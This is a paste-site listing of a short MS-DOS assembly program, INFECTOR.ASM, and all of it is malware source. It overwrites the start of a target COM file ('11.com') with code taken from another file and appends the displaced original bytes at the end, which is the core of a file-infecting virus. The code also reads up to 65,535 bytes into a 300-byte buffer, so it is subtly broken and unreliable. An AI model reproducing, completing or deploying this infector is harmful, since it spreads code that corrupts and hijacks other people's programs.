INFECTOR.ASM 835 B

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465
  1. .model small
  2. .code
  3. org 100h
  4. start:
  5. mov ax, 3d02h
  6. mov dx, offset fname1
  7. int 21h
  8. mov di, ax
  9. mov ax, 3d00h
  10. mov dx, offset fname2
  11. int 21h
  12. mov si, ax
  13. mov ah, 3fh
  14. mov bx, si
  15. mov cx, 0FFFFh
  16. mov dx, OFFSET buffer
  17. int 21h
  18. mov size2, ax
  19. mov ah, 3fh
  20. mov bx, di
  21. mov cx, size2
  22. mov dx, OFFSET buffer2
  23. int 21h
  24. mov ax, 4200h
  25. xor cx, cx
  26. xor dx, dx
  27. int 21h
  28. mov ah, 40h
  29. mov bx, di
  30. mov cx, size2
  31. mov dx, offset buffer
  32. int 21h
  33. mov ah, 42h
  34. xor cx, cx
  35. xor dx, dx
  36. mov al, 2
  37. int 21h
  38. mov ah, 40h
  39. mov bx, di
  40. mov cx, size2
  41. mov dx, offset buffer2
  42. int 21h
  43. mov bx, di
  44. mov ah, 3eh
  45. int 21h
  46. mov bx, si
  47. mov ah, 3eh
  48. int 21h
  49. int 20h
  50. fname1 db '11.com',0
  51. fname2 db 'incfe.com',0
  52. size2 dw ?
  53. buffer db 300 dup (?)
  54. buffer2 db 300 dup (?)
  55. end start